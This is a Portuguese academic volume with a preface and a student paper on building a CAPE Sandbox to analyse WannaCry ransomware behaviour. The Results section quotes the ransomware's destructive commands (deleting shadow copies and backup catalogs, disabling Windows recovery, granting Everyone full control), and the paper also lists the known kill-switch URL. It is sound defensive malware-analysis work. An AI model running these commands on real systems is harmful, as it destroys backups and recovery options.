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Apresentação

Este livro reúne os Trabalhos de Conclusão de Curso da primeira turma da Especializa-
ção em Segurança Cibernética da Faculdade de Computação da Universidade Federal de
Uberlândia (FACOM/UFU).

Ofertado entre junho de 2024 e dezembro de 2025, com duração total de 18 meses,
o curso foi concebido com o objetivo de formar profissionais altamente qualificados para
atuar nos diversos desafios contemporâneos da segurança cibernética. A turma inaugural
foi composta por 20 estudantes, que concluíram sua formação em um modelo inteiramente
remoto, ampliando o alcance do programa e possibilitando a participação de alunos de
diferentes regiões.

O corpo docente foi formado por professores da UFU, bem como por especialistas
da indústria e docentes de outras universidades brasileiras, promovendo uma formação
plural, alinhada às demandas acadêmicas e às necessidades do setor produtivo.

Os trabalhos aqui apresentados foram elaborados no formato de artigos científicos
segundo o modelo da Sociedade Brasileira de Computação (SBC), o que facilita sua sub-
missão a eventos e conferências relevantes da área, como o Simpósio Brasileiro de Se-
gurança da Informação e de Sistemas Computacionais (SBSeg), entre outros. Tal diretriz
reforça o compromisso do curso com a qualidade científica, a disseminação do conheci-
mento e a inserção dos estudantes na comunidade acadêmica e profissional de segurança
cibernética.

Esta coletânea representa não apenas a conclusão de um ciclo formativo, mas também
o marco inicial de uma trajetória institucional da UFU na formação especializada em
segurança cibernética.

Prof. Dr. Rodrigo Sanches Miani
Coordenador
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Análise comportamental automatizada de malware:
Compreendendo o WannaCry por meio do CAPE Sandbox

Luiz Rodrigo C. Cunha1 Kil Jin B. Park2

1Universidade Federal de Uberlância (UFU)
Caixa Postal 38408-100 – Uberlândia – MG – Brasil

rod.ccn@ufu.br kil@ufu.br

Abstract. This article aims to demonstrate the configurations and customizati-
ons required to create an automated malware behavioral analysis system, based
on the well-established open-source tool CAPE Sandbox, incorporating several
integrations and additional parameters. In this way, it is expected that the work
of the forensic specialist will be enhanced, optimizing analysis time and impro-
ving the depth of validation of the studied code. Through the analysis performed,
it was possible to identify several malicious actions, such as the deletion of local
backups, removal of shadow copies, creation of the public/private keys used for
file encryption, communication with command-and-control (C&C) agents, and
attempts to propagate across the network.

Resumo. Este artigo busca demonstrar as configurações e personalizações ne-
cessárias para criação de um sistema automatizado de análise comportamental
de malwares, tendo como base a já consolidada ferramenta de código aberto
CAPE Sandbox, com diversas integrações e parâmetros adicionais. Desta forma,
espera-se que o trabalho do especialista forense seja aprimorado, de modo a
otimizar o tempo de análise e melhorar o aprofundamento na validação do
código estudado. Através da análise executada, foi possı́vel identificar diver-
sas ações maliciosas, como a deleção de backups locais, remoção das cópias
de sombra, criação das chaves públicas/privadas utilizadas na encriptação dos
arquivos, comunicação com agentes de comando e controle (C&C) e tentativas
de propagação pela rede.

1. Introdução
Malware (do inglês, Malicious Software) são programas maliciosos desenvolvidos com o
intuito de causar danos, interrupções ou prejuı́zos a computadores, redes e outros recursos
a eles associados [Tahir 2018]. Dentro dessa categoria, há um tipo especı́fico de malware
que ganhou as manchetes mundiais nos últimos anos: o ransomware, desenvolvido como
uma potente ferramenta de extorsão em massa. Nesse tipo de ataque, os arquivos da
máquina infectada são criptografados de forma quase irrecuperável, exceto mediante o
pagamento do “resgate” (daı́ a derivação do nome, em inglês, ransomware).

Esses ataques, caracterizados pela criptografia de dados crı́ticos e pela posterior
exigência de pagamento para sua liberação, representam um risco significativo e cres-
cente para indivı́duos, empresas e governos em todo o mundo. O impacto dos ataques
de ransomware vai muito além das perdas financeiras, frequentemente resultando em
interrupções operacionais, danos à reputação e até mesmo ameaças à segurança pública
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[Yaqoob et al. 2017]. No Brasil, em 2023, das 75 empresas atacadas, 83% pagaram o res-
gate para recuperar os dados criptografados, tendo como valor médio US$ 1,22 milhão
(R$ 6,2 milhões) [Sutto 2024].

Dentre os principais desafios enfrentados pelos profissionais de segurança cibernética,
destaca-se a necessidade de estudar e compreender o funcionamento dessas ameaças, com
o objetivo de aprimorar o desenvolvimento de técnicas voltadas à proteção ou mitigação
de ataques, sendo este artigo uma contribuição nesse sentido. Para a análise de arquivos
maliciosos, este estudo pode ser dividido em duas frentes [Yusirwan et al. 2015], sendo:

• Estático: baseia-se na inspeção de programas potencialmente maliciosos sem sua
execução, empregando técnicas como varredura antivı́rus, geração de hashes crip-
tográficos e detecção de empacotamento ou ofuscação;

• Dinâmico: baseia-se na execução controlada de amostras maliciosas em ambien-
tes isolados. Para isso, constrói-se uma máquina virtual configurada especifica-
mente para observação do comportamento do malware. A amostra é submetida
a uma sandbox de análise, na qual são monitorados seus processos, alterações no
sistema e tráfego de rede, incluindo a captura e interpretação dos pacotes de dados
gerados durante a execução.

Como foco demonstrativo, será abordada a análise de um famoso ransomware, o Wan-
naCry, por meio da análise dinâmica de seu comportamento malicioso, sendo estrutu-
rado da seguinte forma: após esta introdução, será descrito, brevemente, o funcionamento
do ransomware estudado - WannaCry, após esta sessão, são apresentados os trabalhos
relacionados, que empregam ferramentas, arquiteturas e configurações semelhantes; em
seguida, descreve-se a metodologia utilizada para a construção e parametrização do ambi-
ente sandbox; posteriormente, são apresentados os resultados obtidos durante as análises
e a respectiva discussão.

2. WannaCry
Em maio de 2017, um gigantesco ataque cibernético foi lançado utilizando o até então
desconhecido ransomware WannaCry, que posteriormente se tornaria um marco na defesa
cibernética. Esse malware foi projetado para atacar especificamente sistemas Microsoft
Windows, infectando mais de 230.000 computadores em 150 paı́ses e, uma vez ativado,
solicitava pagamento (ransom) para liberar o sistema comprometido [Ehrenfeld 2017].
Esse ataque afetou diversos setores, como telecomunicações, energia, transportes e saúde.

O vı́rus utiliza os exploits EternalBlue e DoublePulsar para infectar os alvos, vul-
nerabilidades vazadas em abril de 2017 por um grupo conhecido como The Shadow Bro-
kers, um mês antes do inı́cio dos ataques [Akbanov et al. 2018]. O EternalBlue explora
uma vulnerabilidade no protocolo SMB, permitindo que atacantes executem código re-
moto por meio do SMBv1, utilizando as portas TCP 139 e 445, enquanto o DoublePulsar
é um backdoor persistente que pode ser usado para acessar e executar código em um
sistema previamente comprometido.

O ataque inicia-se logo após a execução do arquivo malicioso, espalhando-se pela
rede também através do protocolo SMB. O comprometimento dos arquivos é focado em
extensões especı́ficas, tais como .doc, .xls, .ppt, .zip, dentre outras, porém deixando de
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lado arquivos .exe e .dll, justamente para não inutilizar o sistema infectado e permitir que
o usuário pague o resgate.

Uma vez iniciado, o malware utiliza a seguinte lógica criptográfica:

• Uma chave AES-128 hardcoded é utilizada para criptografar 10 arquivos aleatórios,
de modo a demonstrar ao usuário que a ferramenta é capaz de descriptografá-los;

• É criado um par de chaves RSA de 2048 bits para a vı́tima, aqui nomeado como
Vpu (chave pública) e Vpr (chave privada);

• A chave privada da vı́tima (Vpr) é então criptografada utilizando-se a chave pública
do atacante (Apu) e armazenada com o nome 00000000.pky;

• A chave privada original da vı́tima (Vpr) é, em seguida, destruı́da;
• É gerada uma chave AES-128 para cada arquivo a ser criptografado;
• Após a criptografia dos arquivos, todas as chaves AES-128 são criptografadas

utilizando a chave pública da vı́tima (Vpu);
• A extensão .WNCRYT é então adicionada a cada arquivo criptografado, e o dado

original é removido do espaço de memória.

Deste modo, a única forma de descriptografar os arquivos é:

• Utilizar a chave privada do atacante (Apr) para descriptografar a chave privada da
vı́tima (Vpr);

• Utilizar a chave privada da vı́tima (Vpr) para descriptografar todas as chaves AES-
128;

• Utilizar as chaves AES-128 para, finalmente, recuperar todos os arquivos.

O problema é que a chave privada do atacante (Apr) não é conhecida, tornando
possı́vel a recuperação dos dados somente mediante pagamento (com grandes chances de
que os criminosos não o realizem), uma vez que apenas o atacante pode descriptografar a
chave privada da vı́tima (Vpr).

A URL http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com é testada an-
tes da execução do worm, funcionando como um kill-switch, isto é, uma forma de inter-
romper a execução maliciosa caso o domı́nio supracitado esteja ativo; caso contrário, a
infecção continua [Akbanov et al. 2018]. Foi justamente essa funcionalidade, descoberta
pelo pesquisador inglês conhecido como malwareTech (Marcus Hutchins), que impediu
a infecção de se espalhar incontrolavelmente, ao registrar o domı́nio em seu nome por
apenas $10,69 [Newman 2017].

É notório o quão importante é compreender como ocorrem os processos de infecção
e propagação. Somente a partir desse entendimento é possı́vel estabelecer linhas de defesa
otimizadas e eficazes, baseadas em dados coletados por meio de ferramentas especializa-
das de análise, como a que será estudada neste trabalho.

3. Trabalhos Relacionados
A análise comportamental automatizada de malware tem sido amplamente estudada como
uma alternativa às técnicas puramente estáticas. Diversos autores destacam que o uso
de sandboxes permite observar o comportamento de amostras maliciosas em ambiente
controlado, capturando indicadores de comprometimento (IOCs) e padrões de execução.

Segurança Cibernética na Prática
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Chen e Bridges [Chen and Bridges 2017] realizaram análises sobre o WannaCry,
utilizando o Cuckoo Sandbox para extrair caracterı́sticas comportamentais de forma auto-
matizada, demonstrando a viabilidade de detectar ransomware a partir de logs de execução.
De forma semelhante, Hsiao e Kao [Hsiao and Kao 2018] complementaram esse estudo
com uma abordagem dinâmica, identificando padrões de alteração de arquivos e tráfego
de rede tı́picos do WannaCry.

Outros trabalhos se concentraram na extração automática de padrões e detecção
precoce. Chen et al. [Chen et al. 2019] propuseram um sistema de mineração de logs de
sandbox para prever comportamentos de ransomware, reforçando o potencial do aprendi-
zado de máquina aplicado a dados coletados dinamicamente.

Denham [Denham 2022] apresenta uma revisão abrangente sobre o papel das
sandboxes no combate a ransomware, discutindo limitações e estratégias de evasão —
tema aprofundado por Bukhteyev [Bukhteyev 2022], que descreve técnicas de evasão
aplicáveis inclusive ao CAPE Sandbox, como detecção de artefatos virtuais e manipulação
temporal.

No contexto de datasets, Bosansky et al. [Bosansky et al. 2022] publicaram o
Avast-CTU CAPE Dataset, uma das principais coleções públicas de logs gerados com o
CAPE, viabilizando estudos sobre classificação e clusterização de malware.

Mais recentemente, Bayón-Martı́nez et al. [Bayón-Martı́nez et al. 2025] propu-
seram melhorias no CAPE visando à detecção de malware evasivo, tornando a sandbox
mais resistente à identificação por amostras maliciosas. Esse trabalho é particularmente
relevante para análises de ransomware sofisticados como o WannaCry, que exibem com-
portamento condicionado ao ambiente de execução.

Outros estudos, como o de Kamal [Kamal 2021], buscaram simplificar a implementação
de sandboxes para análise de ransomware, enquanto Ilić et al. [Ilić et al. 2024] sugerem
expandir a análise comportamental além das chamadas de API, incluindo correlação de
fluxos e artefatos de rede.

Por fim, o CAPE Sandbox Book v2.2 [CAPE Sandbox Team 2023] documenta as
funcionalidades da ferramenta utilizada neste trabalho, descrevendo o suporte à captura
de APIs, rede, dumps de memória e integração com motores antivı́rus, consolidando-a
como uma das plataformas mais completas de análise dinâmica open-source.

Em conjunto, esses trabalhos demonstram a evolução das metodologias de análise
comportamental e reforçam a pertinência de empregar o CAPE Sandbox na investigação
do WannaCry, conforme proposto neste estudo.

4. Metodologia
A ferramenta escolhida, com base em diversas pesquisas e estudos, foi o CAPE Sand-
box (Config And Payload Extraction), que é derivada de outra ferramenta open-source
de grande reconhecimento, o Cuckoo v1. Essa poderosa ferramenta permite a execução
de arquivos maliciosos em um ambiente isolado (sandbox) e controlado, enquanto seu
comportamento é analisado e artefatos forenses são coletados [O’Reilly 2024].

Destacam-se algumas funcionalidades importantes para a análise, entre elas:

• Captura de tráfego de rede no formato PCAP;

Segurança Cibernética na Prática
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• Classificação de malwares baseada em comportamento e assinatura de tráfego de
rede;

• Classificação do malware baseada em assinaturas do YARA;
• Captura dos arquivos criados, modificados e deletados durante a execução;
• Dump completo de memória do sistema-alvo;
• Screenshots da área de trabalho capturadas durante a execução do malware;
• Desktop interativo (é possı́vel acompanhar, em tempo real, a execução do malware).

Com essa ferramenta, é possı́vel analisar, de forma automática, a execução de
arquivos suspeitos ou infectados nos formatos .exe, .dll, .pdf, .zip, .jar, além de extensões
do Microsoft Office, scripts PHP, scripts em Visual Basic (VB), arquivos Python, entre
outros.

Abaixo, destacam-se algumas diferenças importantes entre o CAPE Sandbox e
Cuckoo Sandbox:

Segurança Cibernética na Prática

9



Tabela 1. Comparação entre Cuckoo Sandbox e CAPE Sandbox

Caracterı́stica Cuckoo Sandbox CAPE Sandbox

Objetivo Análise dinâmica genérica Análise comportamental
aprofundada

Origem Projeto original Fork especializado do Cuckoo

Sistemas analisados Windows, Linux, Android Windows (x86/x64)

Sistema do host Linux Linux

Tipos de malware Genéricos Ransomware, loaders, trojans

Extração de payloads Limitada Nativa e avançada

Análise em memória Básica Avançada (dump automático)

Suporte a ransomware Genérico Otimizado

Desempacotamento Parcial Automatizado

Shellcodes Suporte básico Suporte estendido

Malware fileless Limitado Avançado

Integração YARA Padrão Profunda e customizada

Análise de scripts Básica Aprimorada

Multiestágio Limitado Avançado

Injeção de código Detecção básica Extração e correlação

Relatórios Comportamentais Enriquecidos com payloads

IoCs Geração padrão Ampliados e correlacionados

Interface Web Padrão Foco em payloads

Casos de uso Triagem inicial Análise forense avançada

Complexidade Moderada Elevada

Público-alvo Analistas gerais Analistas forenses experientes

Segurança Cibernética na Prática
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4.1. CAPE Sandbox - Topologia

Para garantir maior segurança e isolamento dos testes, utilizou-se um servidor fı́sico
executando o sistema operacional Ubuntu 24.04. Nele foi instalada a ferramenta de
virtualização VMware Workstation, na qual foi criada uma máquina virtual também com
Ubuntu 24.04, responsável por atuar como servidor de controle do CAPE Sandbox. Den-
tro dessa máquina virtual foi instalado o hipervisor KVM, responsável pela execução das
máquinas virtuais de teste — neste cenário, duas instâncias do Windows 7 Professional,
uma x86 e outra x64.

É necessário configurar o arquivo /opt/CAPEv2/conf/kvm.conf, infor-
mando o label (nome) da máquina virtual-alvo, sua arquitetura (x86 ou x64), o endereço
IP configurado, a interface virtual utilizada para comunicação de rede e o endereço IP do
CAPE Sandbox:

1 [kvm]
2 machines = win7-x86,win7-x64
3

4 interface = virbr0
5

6 [win7-x86]
7 label = win7
8 platform = windows
9 ip = 192.168.122.105 ## IP da maquina virtual

10 arch = x86
11 interface = virbr0 ## Nome da interface de rede virtual
12 resultserver_ip = 192.168.122.1 ## IP CAPE
13

14 [win7-x64]
15 label = win7-x64
16 platform = windows
17 ip = 192.168.122.164 ## IP da maquina virtual
18 arch = x64
19 interface = virbr0 ## Nome da interface de rede virtual
20 resultserver_ip = 192.168.122.1 ## IP CAPE

A comunicação entre o host fı́sico e o CAPE Sandbox ocorre de forma direta, per-
mitindo acesso à Internet. Já a máquina virtual de testes (Windows 7) utiliza NAT, com
roteamento realizado pela própria máquina de controle do CAPE Sandbox, denominada
dirty line. Dessa forma, é possı́vel capturar os pacotes trafegados, ampliando a visibili-
dade durante a análise.

Segurança Cibernética na Prática
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Figura 1. Topologia de rede

Para a configuração da dirty line, foram configuradas duas interfaces de rede na
máquina virtual que executa o CAPE Sandbox: uma destinada à comunicação com o host
fı́sico (ens33), que fornece acesso à Internet, e outra dedicada à comunicação exclusiva
com a máquina virtual em execução pelo KVM (virbr0). Para que o roteamento funcione
corretamente, é necessário ajustar o netplan, removendo o gerenciador de rede padrão
(NetworkManager) e habilitando o IP Forwarding, ou seja, o encaminhamento de pacotes
pelo host.

4.2. CAPE Sandbox - Integrações

Uma das principais vantagens de utilizar o CAPE Sandbox é sua ampla gama de integrações,
que possibilitam a coleta de diferentes tipos de dados por meio de diversas fontes. Entre
essas integrações, destacam-se duas plataformas de classificação de malware, configura-
das manualmente: VirusTotal e MalwareBazaar, que exibem, logo após a execução na
sandbox, a classificação do arquivo responsável pela infecção.

Para isso, é necessário editar o arquivo /opt/CAPEv2/conf/integrations.conf,
adicionando as linhas abaixo e incluindo a API Key correspondente a cada serviço:

1 [abusech]
2 malwarebazaar = yes
3 apikey = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
4

5 [virustotal]
6 enabled = yes
7 apikey = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Segurança Cibernética na Prática

12



Além disso, o CAPE Sandbox oferece integrações voltadas à geolocalização de
endereços IP e ASN, por meio dos serviços IPInfo e GeoLite2, permitindo identificar o
paı́s de origem dos IPs com os quais a amostra maliciosa se comunicou.

Para habilitar essa funcionalidade, é necessário realizar o download dos arqui-
vos GeoLite2-ASN.mmdb, GeoLite2-Country.mmdb e IpInfo lite.mmdb, salvá-los no di-
retório /opt/CAPEv2/data. É necessário também adicionar as linhas abaixo ao ar-
quivo /opt/CAPEv2/conf/processing.conf:

1 # Requires geoip2 and maxmind database
2 country_lookup = yes
3 #maxmind_database = data/GeoLite2-Country.mmdb
4 #maxmind_database = data/GeoLite2-ASN.mmdb
5 ipinfo_database = data/ipinfo_lite.mmdb

Como facilidade adicional, existe ainda a possibilidade de utilização do Guaca-
mole, uma poderosa ferramenta que permite o acesso, via VNC, à sessão da máquina de
testes diretamente pelo navegador, possibilitando acompanhar, em tempo real, a execução
da amostra, de forma segura e prática.

A instalação é realizada por meio de um script próprio fornecido pelo CAPE Sandbox:

1 sudo ./installer/cape2.sh guacamole

4.3. CAPE Sandbox - Máquina Virtual Alvo

Para a execução dos malwares em ambiente controlado, foram utilizadas duas máquinas
virtuais Windows 7 Professional, uma com arquitetura x86 e outra x64, com o objetivo
de diversificar as análises e abranger comportamentos distintos entre arquiteturas. Ambas
as instâncias foram propositalmente configuradas para permanecerem vulneráveis, utili-
zando o script disable win7noise.bat [doomedraven 2019] para desabilitar UAC,
firewall, Windows Update, Windows Defender, entre outros recursos, além de remover de-
terminadas atualizações de sistema. As máquinas virtuais receberam endereços IP fixos,
utilizando como gateway o IP virtual da máquina responsável pela execução do CAPE
Sandbox, garantindo comunicação estável entre todos os componentes do ambiente. Com
o objetivo de reproduzir um cenário mais realista e ampliar a superfı́cie de análise, fo-
ram instaladas aplicações de uso cotidiano, como Adobe Reader, Microsoft Office, 7-Zip
e RedFox (navegador baseado em Firefox). Além disso, foram criados e baixados diver-
sos arquivos com extensões variadas (.xlsx, .xls, .docx, .doc, .ppt, .csv, .json, .pdf, .zip),
permitindo a detecção de comportamentos maliciosos relacionados a múltiplos tipos de
arquivo.

O CAPE Sandbox utiliza um script em Python para realizar a comunicação com
a máquina virtual-alvo, permitindo a transferência dos dados de análise e dos arquivos
binários. Para isso, foi instalado o Python em ambas as máquinas virtuais, juntamente
com a biblioteca Pillow, responsável por possibilitar a captura de tela durante a execução.
O script, denominado agent.py, é copiado do servidor CAPE Sandbox para a máquina
de testes e configurado para inicializar junto com o sistema operacional, permanecendo
em execução durante todo o perı́odo dos testes, atuando — conforme mencionado anteri-
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ormente — como a ponte entre a máquina de testes e o CAPE Sandbox.

Após a finalização de todas as configurações, foi criado um snapshot da máquina
virtual de testes com o sistema em execução. Essa abordagem permite que, ao iniciar uma
nova análise, o CAPE Sandbox utilize uma instância previamente preparada, garantindo
consistência e repetibilidade nas execuções. Com a máquina virtual ainda em execução,
foram coletados todos os PIDs correspondentes a processos legı́timos — isto é, proces-
sos não maliciosos — e adicionados à lista de exclusão do CAPE Sandbox, no arquivo
/opt/CAPEv2/conf/memory.conf:

1 [mask]
2 enabled = yes
3 pid_generic = 4, 256, 336, 384, 392, 432, 476, 484, 492, 596,
4 664, 716, 832, 876, 1028, 1092, 1216, 1252, 1424, 1528, 1544,
5 1828, 1976, 1996, 2028, 1560, 292, 2052, 2628, 2668, 2988, 3368

4.4. CAPE Sandbox - Execução do Sandbox

Para os testes, foi baixado o repositório de malwares TheZoo [Ytisf 2025] diretamente
na máquina virtual do CAPE Sandbox, que serão utilizados posteriormente nas análises,
sendo selecionados via interface gráfica. Este repositório contém diversos executáveis
maliciosos, todos ativos (portanto, é necessária extrema cautela ao utilizá-los).

Tabela 2. Amostras de malwares utilizados

Nome do arquivo Hash MD5

ed01ebfbc9eb5bbea545.exe 84c82835a5d21bbcf75a61706d8ab549

Win32.Wannacry.exe 30fe2f9a048d7a734c8d9233f64810ba

O primeiro passo é executar o script em Python chamado rooter.py, que au-
xilia o CAPE na execução de comandos relacionados à rede, oferecendo opções de rotea-
mento especı́ficas para cada análise [CAPE Sandbox Team 2023]:

1 sudo python3 utils/rooter.py -g cape -v

O script deve permanecer em execução em segundo plano (background) enquanto
a sessão do usuário cape é iniciada no shell por meio do comando:

1 sudo su - cape -c /bin/bash

No shell do usuário cape, deve ser executado o script cuckoo.py (ainda refe-
rido pelo nome Cuckoo Sandbox, ferramenta que deu origem ao CAPE Sandbox), o qual
inicializa os serviços necessários para a operação do ambiente de análise:

1 poetry run python3 cuckoo.py -d

Após a execução do script, o CAPE Sandbox passa a aguardar a submissão de uma
análise, que pode ser iniciada pela interface web.
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Ao acessar o endereço http://localhost:8000, o usuário é apresentado ao dashbo-
ard, que exibe análises concluı́das, tarefas recentes, tarefas pendentes e um painel para
submissão de novas análises. Selecionando a opção Submit, o usuário pode configu-
rar o arquivo a ser analisado, o tipo de pacote, a máquina-alvo (instância do Sandbox),
a utilização da Dirty Line, o timeout da sessão e a prioridade da tarefa.Concluı́das as
parametrizações, a interface redireciona automaticamente para a página de status da ta-
refa, na qual é possı́vel abrir uma sessão Guacamole para acompanhamento interativo da
execução.

Após a execução de uma amostra maliciosa, o CAPE Sandbox apresenta um con-
junto abrangente de informações organizadas em diferentes seções da interface web. Cada
uma delas fornece uma perspectiva complementar sobre o comportamento e os artefatos
produzidos durante a análise, permitindo uma compreensão aprofundada das atividades
do malware. As principais abas e funcionalidades disponı́veis são descritas a seguir.

4.5. Quick Overview

A aba Quick Overview fornece um resumo consolidado da análise. Nela, são exibidos
metadados gerais sobre a amostra, como:

• Nome e hashes (MD5, SHA1, SHA256);
• Tipo e tamanho do arquivo;
• Malware Score;
• Classificação segundo VirusTotal e MalwareBazaar;
• Sistema operacional e arquitetura utilizados na máquina virtual de análise;
• Status da execução (concluı́da, com erro, abortada, etc.).

Além disso, são apresentados indicadores de comprometimento (Indicators of
Compromise — IoCs) básicos, permitindo uma avaliação inicial da periculosidade do ar-
tefato. Essa aba tem como objetivo fornecer uma visão panorâmica que oriente o analista
para seções mais especı́ficas.

4.6. Behavioral Analysis

A seção Behavioral Analysis apresenta o comportamento dinâmico do malware durante
a execução. O CAPE monitora chamadas de sistema (API calls), criação e finalização de
processos, acesso a chaves de registro, modificação de arquivos e demais interações com
o sistema operacional. Essas informações são exibidas em formato tabular ou hierárquico,
agrupadas por processo, o que permite identificar:

• Tentativas de persistência no sistema;
• Modificações em áreas sensı́veis do registro do Windows;
• Execução de processos filhos;
• Comportamentos tı́picos de infecção ou evasão (como desativação de antivı́rus,

verificação de ambiente virtualizado ou remoção de snapshot local).

O resultado fornecido por essa aba é essencial para compreender a lógica opera-
cional do malware, bem como seus mecanismos de propagação, persistência e ofuscação.
Na figura abaixo, observa-se uma tentativa de deleção dos arquivos de shadow copy, que
correspondem a snapshots locais do sistema. Essa ação impede que a vı́tima utilize o
recurso nativo de restauração para recuperar o ambiente comprometido.
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Figura 2. Behavioral Analysis

4.7. Network Analysis

A aba Network Analysis exibe todas as atividades de rede observadas durante a execução
da amostra. O CAPE captura pacotes (PCAP) e extrai informações como:

• Conexões TCP e UDP realizadas;
• Endereços IP e domı́nios de destino;
• Portas e protocolos utilizados;
• Volume e direção do tráfego;
• Indicadores de comunicação suspeita, como tentativas de contato com servidores

de comando e controle (Command and Control — C2).

O sistema também apresenta capturas HTTP, DNS e ICMP, incluindo o conteúdo
textual de requisições e respostas. Esses dados são fundamentais para identificar a infra-
estrutura de comunicação empregada pelo agente malicioso. É possı́vel observar, nesse
contexto, a URL mencionada na Introdução, utilizada como kill-switch.

Figura 3. Network Analysis

4.8. Dropped Files

A aba Dropped Files lista todos os arquivos criados, modificados ou extraı́dos pelo malware
durante sua execução. Para cada item são exibidos o caminho original no sistema, o tipo
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de arquivo, o hash criptográfico e o tamanho. O CAPE realiza, adicionalmente, uma
análise individual de cada arquivo gerado, aplicando motores antivı́rus (como ClamAV,
YARA e a integração com o VirusTotal) para identificar amostras secundárias potenci-
almente maliciosas. Essa funcionalidade é particularmente útil para detectar módulos
adicionais, instaladores ou cargas secundárias depositadas pelo malware no sistema.

4.9. Process Dumps

Na aba Process Dumps, o CAPE disponibiliza os despejos de memória (memory dumps)
dos processos ativos durante a análise. Esses arquivos contêm snapshots da memória de
cada processo, possibilitando extrair:

• Código malicioso injetado dinamicamente;
• Chaves utilizadas para descriptografia;
• Payloads carregados exclusivamente em memória (fileless malware).

Os dumps podem ser exportados para análise reversa em ferramentas como IDA
Pro, Ghidra ou x64dbg. Essa funcionalidade é essencial para compreender o funciona-
mento interno do malware, incluindo técnicas de injeção e execução em memória.

4.10. Payloads

Por fim, a aba Payloads destaca a extração automatizada de cargas maliciosas — um dos
principais diferenciais do CAPE em relação ao Cuckoo Sandbox. O sistema identifica e
extrai binários que foram desembrulhados (unpacked) ou carregados na memória durante
a execução, classificando-os por tipo (DLL, PE, shellcode, entre outros). Cada payload
extraı́do é armazenado e submetido a uma nova análise automática, permitindo o encade-
amento de análises e a descoberta de amostras relacionadas pertencentes à mesma famı́lia
de malware.

5. Resultados e Discussão
Os testes realizados permitiram observar diversas atividades registradas pelo CAPE Sand-
box, evidenciando de forma detalhada o comportamento do malware, sendo possı́vel
replicá-los para qualquer outro arquivo malicioso. A partir da análise comportamental
(Behavioral Analysis), identificou-se que o ransomware executou comandos especı́ficos
destinados a impedir mecanismos de recuperação do sistema, além de ajustes que garan-
tem sua inicialização mesmo diante de falhas de boot:

1 vssadmin delete shadows /all /quiet
2 wmic shadowcopy delete
3 bcdedit /set {default} bootstatuspolicy ignoreallfailures
4 bcdedit /set {default} recoveryenabled no
5 wbadmin delete catalog -quiet

1. vssadmin delete shadows /all /quiet

Esse comando utiliza a ferramenta administrativa nativa vssadmin para remo-
ver todas as cópias de sombra (Volume Shadow Copies). Como essas cópias permitem
restaurar arquivos e estados anteriores do sistema, a remoção impede a recuperação do
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ambiente comprometido. O parâmetro /quiet suprime mensagens de confirmação, ga-
rantindo execução silenciosa, caracterı́stica tı́pica de ataques de ransomware.

2. wmic shadowcopy delete

Esse comando utiliza o utilitário wmic (Windows Management Instrumentation
Command-line) para excluir instâncias de shadowcopy. Atua como método redundante
ao comando anterior, assegurando que as cópias de segurança serão removidas mesmo
que algum mecanismo impeça o uso do vssadmin.

3. bcdedit /set {default} bootstatuspolicy ignoreallfailures

Esse comando modifica o Boot Configuration Data (BCD), configurando a polı́tica
de inicialização para ignorar todas as falhas de boot. Dessa forma, mesmo que o sistema
apresente erros graves devido à infecção, não será acionado o modo de reparo automático
do Windows, reduzindo as chances de detecção ou recuperação.

4. bcdedit /set {default} recoveryenabled no

Por meio desse comando, o malware desativa completamente o ambiente de recuperação
do Windows (Windows Recovery Environment — WinRE). O parâmetro recoveryenabled
no impede o carregamento do modo de recuperação durante a inicialização, eliminando
outra via de recuperação nativa do sistema. Essa ação aumenta a persistência dos da-
nos causados, uma vez que o usuário perde acesso a ferramentas integradas de reparo e
restauração do sistema operacional.

5. wbadmin delete catalog -quiet

Por fim, o comando wbadmin é utilizado para remover o catálogo de backups
do Windows Server Backup, que contém metadados sobre tarefas e cópias de segurança
armazenadas localmente. A exclusão desse catálogo, combinada ao parâmetro -quiet,
garante que o processo ocorra de forma não interativa e sem confirmação do usuário.
O impacto direto é a perda de referências a backups anteriores, impossibilitando que o
sistema identifique e restaure automaticamente cópias de segurança previamente criadas.

É possı́vel observar também alguns comandos de manipulação de arquivos e per-
missões:

1 attrib +h .
2 icacls . /grant Everyone:F /T /C /Q

1. attrib +h .

O comando attrib altera atributos de arquivos e diretórios no Windows. O
parâmetro +h aplica o atributo Hidden (oculto) ao alvo especificado; o operador . (ponto)
refere-se ao diretório corrente. Assim, a execução de attrib +h . marca o diretório
em questão como oculto, reduzindo a visibilidade dos seus conteúdos no Windows Explo-
rer quando as opções de exibição padrão estão ativadas.
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2. icacls . /grant Everyone:F /T /C /Q

O utilitário icacls manipula as listas de controle de acesso (ACLs) de obje-
tos NTFS. Na invocação indicada, o operador . (ponto) refere-se ao diretório corrente;
o parâmetro /grant Everyone:F concede ao grupo Everyone permissão de Full
control (controle total). A opção /T aplica a alteração de forma recursiva a todos os sub-
diretórios e arquivos; /C instrui o comando a continuar apesar de eventuais erros e /Q
silencia a saı́da informativa. Em conjunto, essa linha redefine recursivamente as ACLs do
diretório especificado, atribuindo controle total a qualquer conta, de maneira não intera-
tiva e silenciosa.

Também foi possı́vel identificar a presença de rotinas de geofencing, por meio da
verificação do idioma e do layout do teclado. Esse tipo de técnica permite que o malware
limite sua execução a determinados paı́ses ou regiões. Outro comportamento observado
foi a criação de uma chave de registro para garantir inicialização automática juntamente
ao sistema operacional.

A análise dinâmica mostrou também que o ransomware aproveita as ferramentas
de criptografia que já existem no Windows, chamadas de Microsoft CryptoAPI. Para isso,
ele usa principalmente duas funções nativas: CryptAcquireContextA e CryptGenRandom:

CryptAcquireContextA
Essa função inicializa o provedor de serviços criptográficos (CSP) e obtém o handle ne-
cessário para realizar operações criptográficas. No caso do WannaCry, ela é chamada
logo no inı́cio da execução para viabilizar a criação do par de chaves assimétricas RSA
de 2048 bits da vı́tima (Vpu e Vpr).

CryptGenRandom
É esta função que garante que as chaves sejam realmente aleatórias e impossı́veis de pre-
ver. Ela usa a entropia do sistema (ruı́do do sistema, atividade, etc.) para gerar números
que são criptograficamente seguros. O WannaCry usa essa aleatoriedade em dois momen-
tos especı́ficos:

• Chave por Arquivo (AES-128): A análise detectou que o malware gera uma
chave AES-128 diferente para cada arquivo encriptado. A CryptGenRandom é
quem fornece a aleatoriedade necessária para criar essas chaves simétricas, garan-
tindo que não haja padrões previsı́veis que possam ser explorados.

• Par de Chaves RSA: Ao gerar o par assimétrico da vı́tima, usado para proteger as
chaves AES, essa função é utilizada para garantir que a semente da chave privada
(Vpr) seja totalmente aleatória. Depois de usar essa chave privada para criptografar
as chaves AES, o WannaCry a criptografa novamente (usando a chave pública do
atacante) e a destrói da memória.

